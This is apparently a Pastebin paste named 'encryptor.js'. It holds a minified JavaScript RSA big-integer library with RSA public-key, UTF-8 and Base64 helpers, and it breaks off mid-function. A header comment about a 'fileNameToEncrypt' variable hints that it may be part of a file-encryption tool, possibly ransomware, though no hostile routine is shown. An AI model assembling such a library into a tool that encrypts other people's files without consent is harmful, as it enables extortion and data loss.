API tools faq
paste
Advertisement
FlyFar

encryptor.js

FlyFar
Sep 23rd, 2023
141
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 29.69 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. //###### File name comes top. Vairable name is fileNameToEncrypt
  2. //Start of RSA encryption Library
  3. var dbits;var canary=0xdeadbeefcafe;var j_lm=((canary&0xffffff)==0xefcafe);function BigInteger(a,b,c){if(a!=null)if('number'==typeof a)this.fromNumber(a,b,c);else if(b==null&&'string'!=typeof a)this.fromString(a,256);else this.fromString(a,b)}function nbi(){return new BigInteger(null)}function am1(i,x,w,j,c,n){while(--n>=0){var v=x*this[i++]+w[j]+c;c=Math.floor(v/0x4000000);w[j++]=v&0x3ffffff}return c}function am2(i,x,w,j,c,n){var xl=x&0x7fff,xh=x>>15;while(--n>=0){var l=this[i]&0x7fff;var h=this[i++]>>15;var m=xh*l+h*xl;l=xl*l+((m&0x7fff)<<15)+w[j]+(c&0x3fffffff);c=(l>>>30)+(m>>>15)+xh*h+(c>>>30);w[j++]=l&0x3fffffff}return c}function am3(i,x,w,j,c,n){var xl=x&0x3fff,xh=x>>14;while(--n>=0){var l=this[i]&0x3fff;var h=this[i++]>>14;var m=xh*l+h*xl;l=xl*l+((m&0x3fff)<<14)+w[j]+c;c=(l>>28)+(m>>14)+xh*h;w[j++]=l&0xfffffff}return c}BigInteger.prototype.am=am2;dbits=30;BigInteger.prototype.DB=dbits;BigInteger.prototype.DM=((1<<dbits)-1);BigInteger.prototype.DV=(1<<dbits);var BI_FP=52;BigInteger.prototype.FV=Math.pow(2,BI_FP);BigInteger.prototype.F1=BI_FP-dbits;BigInteger.prototype.F2=2*dbits-BI_FP;var BI_RM='0123456789abcdefghijklmnopqrstuvwxyz';var BI_RC=new Array();var rr,vv;rr='0'.charCodeAt(0);for(vv=0;vv<=9;++vv)BI_RC[rr++]=vv;rr='a'.charCodeAt(0);for(vv=10;vv<36;++vv)BI_RC[rr++]=vv;rr='A'.charCodeAt(0);for(vv=10;vv<36;++vv)BI_RC[rr++]=vv;function int2char(n){return BI_RM.charAt(n)}function intAt(s,i){var c=BI_RC[s.charCodeAt(i)];return(c==null)?-1:c}function bnpCopyTo(r){for(var i=this.t-1;i>=0;--i)r[i]=this[i];r.t=this.t;r.s=this.s}function bnpFromInt(x){this.t=1;this.s=(x<0)?-1:0;if(x>0)this[0]=x;else if(x<-1)this[0]=x+DV;else this.t=0}function nbv(i){var r=nbi();r.fromInt(i);return r}function bnpFromString(s,b){var k;if(b==16)k=4;else if(b==8)k=3;else if(b==256)k=8;else if(b==2)k=1;else if(b==32)k=5;else if(b==4)k=2;else{this.fromRadix(s,b);return}this.t=0;this.s=0;var i=s.length,mi=false,sh=0;while(--i>=0){var x=(k==8)?s[i]&0xff:intAt(s,i);if(x<0){if(s.charAt(i)=='-')mi=true;continue}mi=false;if(sh==0)this[this.t++]=x;else if(sh+k>this.DB){this[this.t-1]|=(x&((1<<(this.DB-sh))-1))<<sh;this[this.t++]=(x>>(this.DB-sh))}else this[this.t-1]|=x<<sh;sh+=k;if(sh>=this.DB)sh-=this.DB}if(k==8&&(s[0]&0x80)!=0){this.s=-1;if(sh>0)this[this.t-1]|=((1<<(this.DB-sh))-1)<<sh}this.clamp();if(mi)BigInteger.ZERO.subTo(this,this)}function bnpClamp(){var c=this.s&this.DM;while(this.t>0&&this[this.t-1]==c)--this.t}function bnToString(b){if(this.s<0)return'-'+this.negate().toString(b);var k;if(b==16)k=4;else if(b==8)k=3;else if(b==2)k=1;else if(b==32)k=5;else if(b==64)k=6;else if(b==4)k=2;else return this.toRadix(b);var km=(1<<k)-1,d,m=false,r='',i=this.t;var p=this.DB-(i*this.DB)%k;if(i-->0){if(p<this.DB&&(d=this[i]>>p)>0){m=true;r=int2char(d)}while(i>=0){if(p<k){d=(this[i]&((1<<p)-1))<<(k-p);d|=this[--i]>>(p+=this.DB-k)}else{d=(this[i]>>(p-=k))&km;if(p<=0){p+=this.DB;--i}}if(d>0)m=true;if(m)r+=int2char(d)}}return m?r:'0'}function bnNegate(){var r=nbi();BigInteger.ZERO.subTo(this,r);return r}function bnAbs(){return(this.s<0)?this.negate():this}function bnCompareTo(a){var r=this.s-a.s;if(r!=0)return r;var i=this.t;r=i-a.t;if(r!=0)return r;while(--i>=0)if((r=this[i]-a[i])!=0)return r;return 0}function nbits(x){var r=1,t;if((t=x>>>16)!=0){x=t;r+=16}if((t=x>>8)!=0){x=t;r+=8}if((t=x>>4)!=0){x=t;r+=4}if((t=x>>2)!=0){x=t;r+=2}if((t=x>>1)!=0){x=t;r+=1}return r}function bnBitLength(){if(this.t<=0)return 0;return this.DB*(this.t-1)+nbits(this[this.t-1]^(this.s&this.DM))}function bnpDLShiftTo(n,r){var i;for(i=this.t-1;i>=0;--i)r[i+n]=this[i];for(i=n-1;i>=0;--i)r[i]=0;r.t=this.t+n;r.s=this.s}function bnpDRShiftTo(n,r){for(var i=n;i<this.t;++i)r[i-n]=this[i];r.t=Math.max(this.t-n,0);r.s=this.s}function bnpLShiftTo(n,r){var bs=n%this.DB;var cbs=this.DB-bs;var bm=(1<<cbs)-1;var ds=Math.floor(n/this.DB),c=(this.s<<bs)&this.DM,i;for(i=this.t-1;i>=0;--i){r[i+ds+1]=(this[i]>>cbs)|c;c=(this[i]&bm)<<bs}for(i=ds-1;i>=0;--i)r[i]=0;r[ds]=c;r.t=this.t+ds+1;r.s=this.s;r.clamp()}function bnpRShiftTo(n,r){r.s=this.s;var ds=Math.floor(n/this.DB);if(ds>=this.t){r.t=0;return}var bs=n%this.DB;var cbs=this.DB-bs;var bm=(1<<bs)-1;r[0]=this[ds]>>bs;for(var i=ds+1;i<this.t;++i){r[i-ds-1]|=(this[i]&bm)<<cbs;r[i-ds]=this[i]>>bs}if(bs>0)r[this.t-ds-1]|=(this.s&bm)<<cbs;r.t=this.t-ds;r.clamp()}function bnpSubTo(a,r){var i=0,c=0,m=Math.min(a.t,this.t);while(i<m){c+=this[i]-a[i];r[i++]=c&this.DM;c>>=this.DB}if(a.t<this.t){c-=a.s;while(i<this.t){c+=this[i];r[i++]=c&this.DM;c>>=this.DB}c+=this.s}else{c+=this.s;while(i<a.t){c-=a[i];r[i++]=c&this.DM;c>>=this.DB}c-=a.s}r.s=(c<0)?-1:0;if(c<-1)r[i++]=this.DV+c;else if(c>0)r[i++]=c;r.t=i;r.clamp()}function bnpMultiplyTo(a,r){var x=this.abs(),y=a.abs();var i=x.t;r.t=i+y.t;while(--i>=0)r[i]=0;for(i=0;i<y.t;++i)r[i+x.t]=x.am(0,y[i],r,i,0,x.t);r.s=0;r.clamp();if(this.s!=a.s)BigInteger.ZERO.subTo(r,r)}function bnpSquareTo(r){var x=this.abs();var i=r.t=2*x.t;while(--i>=0)r[i]=0;for(i=0;i<x.t-1;++i){var c=x.am(i,x[i],r,2*i,0,1);if((r[i+x.t]+=x.am(i+1,2*x[i],r,2*i+1,c,x.t-i-1))>=x.DV){r[i+x.t]-=x.DV;r[i+x.t+1]=1}}if(r.t>0)r[r.t-1]+=x.am(i,x[i],r,2*i,0,1);r.s=0;r.clamp()}function bnpDivRemTo(m,q,r){var pm=m.abs();if(pm.t<=0)return;var pt=this.abs();if(pt.t<pm.t){if(q!=null)q.fromInt(0);if(r!=null)this.copyTo(r);return}if(r==null)r=nbi();var y=nbi(),ts=this.s,ms=m.s;var nsh=this.DB-nbits(pm[pm.t-1]);if(nsh>0){pm.lShiftTo(nsh,y);pt.lShiftTo(nsh,r)}else{pm.copyTo(y);pt.copyTo(r)}var ys=y.t;var y0=y[ys-1];if(y0==0)return;var yt=y0*(1<<this.F1)+((ys>1)?y[ys-2]>>this.F2:0);var d1=this.FV/yt,d2=(1<<this.F1)/yt,e=1<<this.F2;var i=r.t,j=i-ys,t=(q==null)?nbi():q;y.dlShiftTo(j,t);if(r.compareTo(t)>=0){r[r.t++]=1;r.subTo(t,r)}BigInteger.ONE.dlShiftTo(ys,t);t.subTo(y,y);while(y.t<ys)y[y.t++]=0;while(--j>=0){var qd=(r[--i]==y0)?this.DM:Math.floor(r[i]*d1+(r[i-1]+e)*d2);if((r[i]+=y.am(0,qd,r,j,0,ys))<qd){y.dlShiftTo(j,t);r.subTo(t,r);while(r[i]<--qd)r.subTo(t,r)}}if(q!=null){r.drShiftTo(ys,q);if(ts!=ms)BigInteger.ZERO.subTo(q,q)}r.t=ys;r.clamp();if(nsh>0)r.rShiftTo(nsh,r);if(ts<0)BigInteger.ZERO.subTo(r,r)}function bnMod(a){var r=nbi();this.abs().divRemTo(a,null,r);if(this.s<0&&r.compareTo(BigInteger.ZERO)>0)a.subTo(r,r);return r}function Classic(m){this.m=m}function cConvert(x){if(x.s<0||x.compareTo(this.m)>=0)return x.mod(this.m);else return x}function cRevert(x){return x}function cReduce(x){x.divRemTo(this.m,null,x)}function cMulTo(x,y,r){x.multiplyTo(y,r);this.reduce(r)}function cSqrTo(x,r){x.squareTo(r);this.reduce(r)}Classic.prototype.convert=cConvert;Classic.prototype.revert=cRevert;Classic.prototype.reduce=cReduce;Classic.prototype.mulTo=cMulTo;Classic.prototype.sqrTo=cSqrTo;function bnpInvDigit(){if(this.t<1)return 0;var x=this[0];if((x&1)==0)return 0;var y=x&3;y=(y*(2-(x&0xf)*y))&0xf;y=(y*(2-(x&0xff)*y))&0xff;y=(y*(2-(((x&0xffff)*y)&0xffff)))&0xffff;y=(y*(2-x*y%this.DV))%this.DV;return(y>0)?this.DV-y:-y}function Montgomery(m){this.m=m;this.mp=m.invDigit();this.mpl=this.mp&0x7fff;this.mph=this.mp>>15;this.um=(1<<(m.DB-15))-1;this.mt2=2*m.t}function montConvert(x){var r=nbi();x.abs().dlShiftTo(this.m.t,r);r.divRemTo(this.m,null,r);if(x.s<0&&r.compareTo(BigInteger.ZERO)>0)this.m.subTo(r,r);return r}function montRevert(x){var r=nbi();x.copyTo(r);this.reduce(r);return r}function montReduce(x){while(x.t<=this.mt2)x[x.t++]=0;for(var i=0;i<this.m.t;++i){var j=x[i]&0x7fff;var u0=(j*this.mpl+(((j*this.mph+(x[i]>>15)*this.mpl)&this.um)<<15))&x.DM;j=i+this.m.t;x[j]+=this.m.am(0,u0,x,i,0,this.m.t);while(x[j]>=x.DV){x[j]-=x.DV;x[++j]++}}x.clamp();x.drShiftTo(this.m.t,x);if(x.compareTo(this.m)>=0)x.subTo(this.m,x)}function montSqrTo(x,r){x.squareTo(r);this.reduce(r)}function montMulTo(x,y,r){x.multiplyTo(y,r);this.reduce(r)}Montgomery.prototype.convert=montConvert;Montgomery.prototype.revert=montRevert;Montgomery.prototype.reduce=montReduce;Montgomery.prototype.mulTo=montMulTo;Montgomery.prototype.sqrTo=montSqrTo;function bnpIsEven(){return((this.t>0)?(this[0]&1):this.s)==0}function bnpExp(e,z){if(e>0xffffffff||e<1)return BigInteger.ONE;var r=nbi(),r2=nbi(),g=z.convert(this),i=nbits(e)-1;g.copyTo(r);while(--i>=0){z.sqrTo(r,r2);if((e&(1<<i))>0)z.mulTo(r2,g,r);else{var t=r;r=r2;r2=t}}return z.revert(r)}function bnModPowInt(e,m){var z;if(e<256||m.isEven())z=new Classic(m);else z=new Montgomery(m);return this.exp(e,z)}BigInteger.prototype.copyTo=bnpCopyTo;BigInteger.prototype.fromInt=bnpFromInt;BigInteger.prototype.fromString=bnpFromString;BigInteger.prototype.clamp=bnpClamp;BigInteger.prototype.dlShiftTo=bnpDLShiftTo;BigInteger.prototype.drShiftTo=bnpDRShiftTo;BigInteger.prototype.lShiftTo=bnpLShiftTo;BigInteger.prototype.rShiftTo=bnpRShiftTo;BigInteger.prototype.subTo=bnpSubTo;BigInteger.prototype.multiplyTo=bnpMultiplyTo;BigInteger.prototype.squareTo=bnpSquareTo;BigInteger.prototype.divRemTo=bnpDivRemTo;BigInteger.prototype.invDigit=bnpInvDigit;BigInteger.prototype.isEven=bnpIsEven;BigInteger.prototype.exp=bnpExp;BigInteger.prototype.toString=bnToString;BigInteger.prototype.negate=bnNegate;BigInteger.prototype.abs=bnAbs;BigInteger.prototype.compareTo=bnCompareTo;BigInteger.prototype.bitLength=bnBitLength;BigInteger.prototype.mod=bnMod;BigInteger.prototype.modPowInt=bnModPowInt;BigInteger.ZERO=nbv(0);BigInteger.ONE=nbv(1);function bnClone(){var r=nbi();this.copyTo(r);return r}function bnIntValue(){if(this.s<0){if(this.t==1)return this[0]-this.DV;else if(this.t==0)return-1}else if(this.t==1)return this[0];else if(this.t==0)return 0;return((this[1]&((1<<(32-this.DB))-1))<<this.DB)|this[0]}function bnByteValue(){return(this.t==0)?this.s:(this[0]<<24)>>24}function bnShortValue(){return(this.t==0)?this.s:(this[0]<<16)>>16}function bnpChunkSize(r){return Math.floor(Math.LN2*this.DB/Math.log(r))}function bnSigNum(){if(this.s<0)return-1;else if(this.t<=0||(this.t==1&&this[0]<=0))return 0;else return 1}function bnpToRadix(b){if(b==null)b=10;if(this.signum()==0||b<2||b>36)return'0';var cs=this.chunkSize(b);var a=Math.pow(b,cs);var d=nbv(a),y=nbi(),z=nbi(),r='';this.divRemTo(d,y,z);while(y.signum()>0){r=(a+z.intValue()).toString(b).substr(1)+r;y.divRemTo(d,y,z)}return z.intValue().toString(b)+r}function bnpFromRadix(s,b){this.fromInt(0);if(b==null)b=10;var cs=this.chunkSize(b);var d=Math.pow(b,cs),mi=false,j=0,w=0;for(var i=0;i<s.length;++i){var x=intAt(s,i);if(x<0){if(s.charAt(i)=='-'&&this.signum()==0)mi=true;continue}w=b*w+x;if(++j>=cs){this.dMultiply(d);this.dAddOffset(w,0);j=0;w=0}}if(j>0){this.dMultiply(Math.pow(b,j));this.dAddOffset(w,0)}if(mi)BigInteger.ZERO.subTo(this,this)}function bnpFromNumber(a,b,c){if('number'==typeof b){if(a<2)this.fromInt(1);else{this.fromNumber(a,c);if(!this.testBit(a-1))this.bitwiseTo(BigInteger.ONE.shiftLeft(a-1),op_or,this);if(this.isEven())this.dAddOffset(1,0);while(!this.isProbablePrime(b)){this.dAddOffset(2,0);if(this.bitLength()>a)this.subTo(BigInteger.ONE.shiftLeft(a-1),this)}}}else{var x=new Array(),t=a&7;x.length=(a>>3)+1;b.nextBytes(x);if(t>0)x[0]&=((1<<t)-1);else x[0]=0;this.fromString(x,256)}}function bnToByteArray(){var i=this.t,r=new Array();r[0]=this.s;var p=this.DB-(i*this.DB)%8,d,k=0;if(i-->0){if(p<this.DB&&(d=this[i]>>p)!=(this.s&this.DM)>>p)r[k++]=d|(this.s<<(this.DB-p));while(i>=0){if(p<8){d=(this[i]&((1<<p)-1))<<(8-p);d|=this[--i]>>(p+=this.DB-8)}else{d=(this[i]>>(p-=8))&0xff;if(p<=0){p+=this.DB;--i}}if((d&0x80)!=0)d|=-256;if(k==0&&(this.s&0x80)!=(d&0x80))++k;if(k>0||d!=this.s)r[k++]=d}}return r}function bnEquals(a){return(this.compareTo(a)==0)}function bnMin(a){return(this.compareTo(a)<0)?this:a}function bnMax(a){return(this.compareTo(a)>0)?this:a}function bnpBitwiseTo(a,op,r){var i,f,m=Math.min(a.t,this.t);for(i=0;i<m;++i)r[i]=op(this[i],a[i]);if(a.t<this.t){f=a.s&this.DM;for(i=m;i<this.t;++i)r[i]=op(this[i],f);r.t=this.t}else{f=this.s&this.DM;for(i=m;i<a.t;++i)r[i]=op(f,a[i]);r.t=a.t}r.s=op(this.s,a.s);r.clamp()}function op_and(x,y){return x&y}function bnAnd(a){var r=nbi();this.bitwiseTo(a,op_and,r);return r}function op_or(x,y){return x|y}function bnOr(a){var r=nbi();this.bitwiseTo(a,op_or,r);return r}function op_xor(x,y){return x^y}function bnXor(a){var r=nbi();this.bitwiseTo(a,op_xor,r);return r}function op_andnot(x,y){return x&~y}function bnAndNot(a){var r=nbi();this.bitwiseTo(a,op_andnot,r);return r}function bnNot(){var r=nbi();for(var i=0;i<this.t;++i)r[i]=this.DM&~this[i];r.t=this.t;r.s=~this.s;return r}function bnShiftLeft(n){var r=nbi();if(n<0)this.rShiftTo(-n,r);else this.lShiftTo(n,r);return r}function bnShiftRight(n){var r=nbi();if(n<0)this.lShiftTo(-n,r);else this.rShiftTo(n,r);return r}function lbit(x){if(x==0)return-1;var r=0;if((x&0xffff)==0){x>>=16;r+=16}if((x&0xff)==0){x>>=8;r+=8}if((x&0xf)==0){x>>=4;r+=4}if((x&3)==0){x>>=2;r+=2}if((x&1)==0)++r;return r}function bnGetLowestSetBit(){for(var i=0;i<this.t;++i)if(this[i]!=0)return i*this.DB+lbit(this[i]);if(this.s<0)return this.t*this.DB;return-1}function cbit(x){var r=0;while(x!=0){x&=x-1;++r}return r}function bnBitCount(){var r=0,x=this.s&this.DM;for(var i=0;i<this.t;++i)r+=cbit(this[i]^x);return r}function bnTestBit(n){var j=Math.floor(n/this.DB);if(j>=this.t)return(this.s!=0);return((this[j]&(1<<(n%this.DB)))!=0)}function bnpChangeBit(n,op){var r=BigInteger.ONE.shiftLeft(n);this.bitwiseTo(r,op,r);return r}function bnSetBit(n){return this.changeBit(n,op_or)}function bnClearBit(n){return this.changeBit(n,op_andnot)}function bnFlipBit(n){return this.changeBit(n,op_xor)}function bnpAddTo(a,r){var i=0,c=0,m=Math.min(a.t,this.t);while(i<m){c+=this[i]+a[i];r[i++]=c&this.DM;c>>=this.DB}if(a.t<this.t){c+=a.s;while(i<this.t){c+=this[i];r[i++]=c&this.DM;c>>=this.DB}c+=this.s}else{c+=this.s;while(i<a.t){c+=a[i];r[i++]=c&this.DM;c>>=this.DB}c+=a.s}r.s=(c<0)?-1:0;if(c>0)r[i++]=c;else if(c<-1)r[i++]=this.DV+c;r.t=i;r.clamp()}function bnAdd(a){var r=nbi();this.addTo(a,r);return r}function bnSubtract(a){var r=nbi();this.subTo(a,r);return r}function bnMultiply(a){var r=nbi();this.multiplyTo(a,r);return r}function bnSquare(){var r=nbi();this.squareTo(r);return r}function bnDivide(a){var r=nbi();this.divRemTo(a,r,null);return r}function bnRemainder(a){var r=nbi();this.divRemTo(a,null,r);return r}function bnDivideAndRemainder(a){var q=nbi(),r=nbi();this.divRemTo(a,q,r);return new Array(q,r)}function bnpDMultiply(n){this[this.t]=this.am(0,n-1,this,0,0,this.t);++this.t;this.clamp()}function bnpDAddOffset(n,w){if(n==0)return;while(this.t<=w)this[this.t++]=0;this[w]+=n;while(this[w]>=this.DV){this[w]-=this.DV;if(++w>=this.t)this[this.t++]=0;++this[w]}}function NullExp(){}function nNop(x){return x}function nMulTo(x,y,r){x.multiplyTo(y,r)}function nSqrTo(x,r){x.squareTo(r)}NullExp.prototype.convert=nNop;NullExp.prototype.revert=nNop;NullExp.prototype.mulTo=nMulTo;NullExp.prototype.sqrTo=nSqrTo;function bnPow(e){return this.exp(e,new NullExp())}function bnpMultiplyLowerTo(a,n,r){var i=Math.min(this.t+a.t,n);r.s=0;r.t=i;while(i>0)r[--i]=0;var j;for(j=r.t-this.t;i<j;++i)r[i+this.t]=this.am(0,a[i],r,i,0,this.t);for(j=Math.min(a.t,n);i<j;++i)this.am(0,a[i],r,i,0,n-i);r.clamp()}function bnpMultiplyUpperTo(a,n,r){--n;var i=r.t=this.t+a.t-n;r.s=0;while(--i>=0)r[i]=0;for(i=Math.max(n-this.t,0);i<a.t;++i)r[this.t+i-n]=this.am(n-i,a[i],r,0,0,this.t+i-n);r.clamp();r.drShiftTo(1,r)}function Barrett(m){this.r2=nbi();this.q3=nbi();BigInteger.ONE.dlShiftTo(2*m.t,this.r2);this.mu=this.r2.divide(m);this.m=m}function barrettConvert(x){if(x.s<0||x.t>2*this.m.t)return x.mod(this.m);else if(x.compareTo(this.m)<0)return x;else{var r=nbi();x.copyTo(r);this.reduce(r);return r}}function barrettRevert(x){return x}function barrettReduce(x){x.drShiftTo(this.m.t-1,this.r2);if(x.t>this.m.t+1){x.t=this.m.t+1;x.clamp()}this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3);this.m.multiplyLowerTo(this.q3,this.m.t+1,this.r2);while(x.compareTo(this.r2)<0)x.dAddOffset(1,this.m.t+1);x.subTo(this.r2,x);while(x.compareTo(this.m)>=0)x.subTo(this.m,x)}function barrettSqrTo(x,r){x.squareTo(r);this.reduce(r)}function barrettMulTo(x,y,r){x.multiplyTo(y,r);this.reduce(r)}Barrett.prototype.convert=barrettConvert;Barrett.prototype.revert=barrettRevert;Barrett.prototype.reduce=barrettReduce;Barrett.prototype.mulTo=barrettMulTo;Barrett.prototype.sqrTo=barrettSqrTo;function bnModPow(e,m){var i=e.bitLength(),k,r=nbv(1),z;if(i<=0)return r;else if(i<18)k=1;else if(i<48)k=3;else if(i<144)k=4;else if(i<768)k=5;else k=6;if(i<8)z=new Classic(m);else if(m.isEven())z=new Barrett(m);else z=new Montgomery(m);var g=new Array(),n=3,k1=k-1,km=(1<<k)-1;g[1]=z.convert(this);if(k>1){var g2=nbi();z.sqrTo(g[1],g2);while(n<=km){g[n]=nbi();z.mulTo(g2,g[n-2],g[n]);n+=2}}var j=e.t-1,w,is1=true,r2=nbi(),t;i=nbits(e[j])-1;while(j>=0){if(i>=k1)w=(e[j]>>(i-k1))&km;else{w=(e[j]&((1<<(i+1))-1))<<(k1-i);if(j>0)w|=e[j-1]>>(this.DB+i-k1)}n=k;while((w&1)==0){w>>=1;--n}if((i-=n)<0){i+=this.DB;--j}if(is1){g[w].copyTo(r);is1=false}else{while(n>1){z.sqrTo(r,r2);z.sqrTo(r2,r);n-=2}if(n>0)z.sqrTo(r,r2);else{t=r;r=r2;r2=t}z.mulTo(r2,g[w],r)}while(j>=0&&(e[j]&(1<<i))==0){z.sqrTo(r,r2);t=r;r=r2;r2=t;if(--i<0){i=this.DB-1;--j}}}return z.revert(r)}function bnGCD(a){var x=(this.s<0)?this.negate():this.clone();var y=(a.s<0)?a.negate():a.clone();if(x.compareTo(y)<0){var t=x;x=y;y=t}var i=x.getLowestSetBit(),g=y.getLowestSetBit();if(g<0)return x;if(i<g)g=i;if(g>0){x.rShiftTo(g,x);y.rShiftTo(g,y)}while(x.signum()>0){if((i=x.getLowestSetBit())>0)x.rShiftTo(i,x);if((i=y.getLowestSetBit())>0)y.rShiftTo(i,y);if(x.compareTo(y)>=0){x.subTo(y,x);x.rShiftTo(1,x)}else{y.subTo(x,y);y.rShiftTo(1,y)}}if(g>0)y.lShiftTo(g,y);return y}function bnpModInt(n){if(n<=0)return 0;var d=this.DV%n,r=(this.s<0)?n-1:0;if(this.t>0)if(d==0)r=this[0]%n;else for(var i=this.t-1;i>=0;--i)r=(d*r+this[i])%n;return r}function bnModInverse(m){var ac=m.isEven();if((this.isEven()&&ac)||m.signum()==0)return BigInteger.ZERO;var u=m.clone(),v=this.clone();var a=nbv(1),b=nbv(0),c=nbv(0),d=nbv(1);while(u.signum()!=0){while(u.isEven()){u.rShiftTo(1,u);if(ac){if(!a.isEven()||!b.isEven()){a.addTo(this,a);b.subTo(m,b)}a.rShiftTo(1,a)}else if(!b.isEven())b.subTo(m,b);b.rShiftTo(1,b)}while(v.isEven()){v.rShiftTo(1,v);if(ac){if(!c.isEven()||!d.isEven()){c.addTo(this,c);d.subTo(m,d)}c.rShiftTo(1,c)}else if(!d.isEven())d.subTo(m,d);d.rShiftTo(1,d)}if(u.compareTo(v)>=0){u.subTo(v,u);if(ac)a.subTo(c,a);b.subTo(d,b)}else{v.subTo(u,v);if(ac)c.subTo(a,c);d.subTo(b,d)}}if(v.compareTo(BigInteger.ONE)!=0)return BigInteger.ZERO;if(d.compareTo(m)>=0)return d.subtract(m);if(d.signum()<0)d.addTo(m,d);else return d;if(d.signum()<0)return d.add(m);else return d}var lowprimes=[2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509,521,523,541,547,557,563,569,571,577,587,593,599,601,607,613,617,619,631,641,643,647,653,659,661,673,677,683,691,701,709,719,727,733,739,743,751,757,761,769,773,787,797,809,811,821,823,827,829,839,853,857,859,863,877,881,883,887,907,911,919,929,937,941,947,953,967,971,977,983,991,997];var lplim=(1<<26)/lowprimes[lowprimes.length-1];function bnIsProbablePrime(t){var i,x=this.abs();if(x.t==1&&x[0]<=lowprimes[lowprimes.length-1]){for(i=0;i<lowprimes.length;++i)if(x[0]==lowprimes[i])return true;return false}if(x.isEven())return false;i=1;while(i<lowprimes.length){var m=lowprimes[i],j=i+1;while(j<lowprimes.length&&m<lplim)m*=lowprimes[j++];m=x.modInt(m);while(i<j)if(m%lowprimes[i++]==0)return false}return x.millerRabin(t)}function bnpMillerRabin(t){var n1=this.subtract(BigInteger.ONE);var k=n1.getLowestSetBit();if(k<=0)return false;var r=n1.shiftRight(k);t=(t+1)>>1;if(t>lowprimes.length)t=lowprimes.length;var a=nbi();for(var i=0;i<t;++i){a.fromInt(lowprimes[Math.floor(Math.random()*lowprimes.length)]);var y=a.modPow(r,this);if(y.compareTo(BigInteger.ONE)!=0&&y.compareTo(n1)!=0){var j=1;while(j++<k&&y.compareTo(n1)!=0){y=y.modPowInt(2,this);if(y.compareTo(BigInteger.ONE)==0)return false}if(y.compareTo(n1)!=0)return false}}return true}BigInteger.prototype.chunkSize=bnpChunkSize;BigInteger.prototype.toRadix=bnpToRadix;BigInteger.prototype.fromRadix=bnpFromRadix;BigInteger.prototype.fromNumber=bnpFromNumber;BigInteger.prototype.bitwiseTo=bnpBitwiseTo;BigInteger.prototype.changeBit=bnpChangeBit;BigInteger.prototype.addTo=bnpAddTo;BigInteger.prototype.dMultiply=bnpDMultiply;BigInteger.prototype.dAddOffset=bnpDAddOffset;BigInteger.prototype.multiplyLowerTo=bnpMultiplyLowerTo;BigInteger.prototype.multiplyUpperTo=bnpMultiplyUpperTo;BigInteger.prototype.modInt=bnpModInt;BigInteger.prototype.millerRabin=bnpMillerRabin;BigInteger.prototype.clone=bnClone;BigInteger.prototype.intValue=bnIntValue;BigInteger.prototype.byteValue=bnByteValue;BigInteger.prototype.shortValue=bnShortValue;BigInteger.prototype.signum=bnSigNum;BigInteger.prototype.toByteArray=bnToByteArray;BigInteger.prototype.equals=bnEquals;BigInteger.prototype.min=bnMin;BigInteger.prototype.max=bnMax;BigInteger.prototype.and=bnAnd;BigInteger.prototype.or=bnOr;BigInteger.prototype.xor=bnXor;BigInteger.prototype.andNot=bnAndNot;BigInteger.prototype.not=bnNot;BigInteger.prototype.shiftLeft=bnShiftLeft;BigInteger.prototype.shiftRight=bnShiftRight;BigInteger.prototype.getLowestSetBit=bnGetLowestSetBit;BigInteger.prototype.bitCount=bnBitCount;BigInteger.prototype.testBit=bnTestBit;BigInteger.prototype.setBit=bnSetBit;BigInteger.prototype.clearBit=bnClearBit;BigInteger.prototype.flipBit=bnFlipBit;BigInteger.prototype.add=bnAdd;BigInteger.prototype.subtract=bnSubtract;BigInteger.prototype.multiply=bnMultiply;BigInteger.prototype.divide=bnDivide;BigInteger.prototype.remainder=bnRemainder;BigInteger.prototype.divideAndRemainder=bnDivideAndRemainder;BigInteger.prototype.modPow=bnModPow;BigInteger.prototype.modInverse=bnModInverse;BigInteger.prototype.pow=bnPow;BigInteger.prototype.gcd=bnGCD;BigInteger.prototype.isProbablePrime=bnIsProbablePrime;BigInteger.prototype.square=bnSquare;
  4. var RSAPublicKey=function($modulus,$encryptionExponent){this.modulus=new BigInteger(Hex.encode($modulus),16);this.encryptionExponent=new BigInteger(Hex.encode($encryptionExponent),16)};var UTF8={encode:function($input){$input=$input.replace(/\r\n/g,'\n');var $output='';for(var $n=0;$n<$input.length;$n++){var $c=$input.charCodeAt($n);if($c<128){$output+=String.fromCharCode($c)}else if(($c>127)&&($c<2048)){$output+=String.fromCharCode(($c>>6)|192);$output+=String.fromCharCode(($c&63)|128)}else{$output+=String.fromCharCode(($c>>12)|224);$output+=String.fromCharCode((($c>>6)&63)|128);$output+=String.fromCharCode(($c&63)|128)}}return $output},decode:function($input){var $output='';var $i=0;var $c=$c1=$c2=0;while($i<$input.length){$c=$input.charCodeAt($i);if($c<128){$output+=String.fromCharCode($c);$i++}else if(($c>191)&&($c<224)){$c2=$input.charCodeAt($i+1);$output+=String.fromCharCode((($c&31)<<6)|($c2&63));$i+=2}else{$c2=$input.charCodeAt($i+1);$c3=$input.charCodeAt($i+2);$output+=String.fromCharCode((($c&15)<<12)|(($c2&63)<<6)|($c3&63));$i+=3}}return $output}};var Base64={base64:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',encode:function($input){if(!$input){return false}var $output='';var $chr1,$chr2,$chr3;var $enc1,$enc2,$enc3,$enc4;var $i=0;do{$chr1=$input.charCodeAt($i++);$chr2=$input.charCodeAt($i++);$chr3=$input.charCodeAt($i++);$enc1=$chr1>>2;$enc2=(($chr1&3)<<4)|($chr2>>4);$enc3=(($chr2&15)<<2)|($chr3>>6);$enc4=$chr3&63;if(isNaN($chr2))$enc3=$enc4=64;else if(isNaN($chr3))$enc4=64;$output+=this.base64.charAt($enc1)+this.base64.charAt($enc2)+this.base64.charAt($enc3)+this.base64.charAt($enc4)}while($i<$input.length);return $output},decode:function($input){if(!$input)return false;$input=$input.replace(/[^A-Za-z0-9\+\/\=]/g,'');var $output='';var $enc1,$enc2,$enc3,$enc4;var 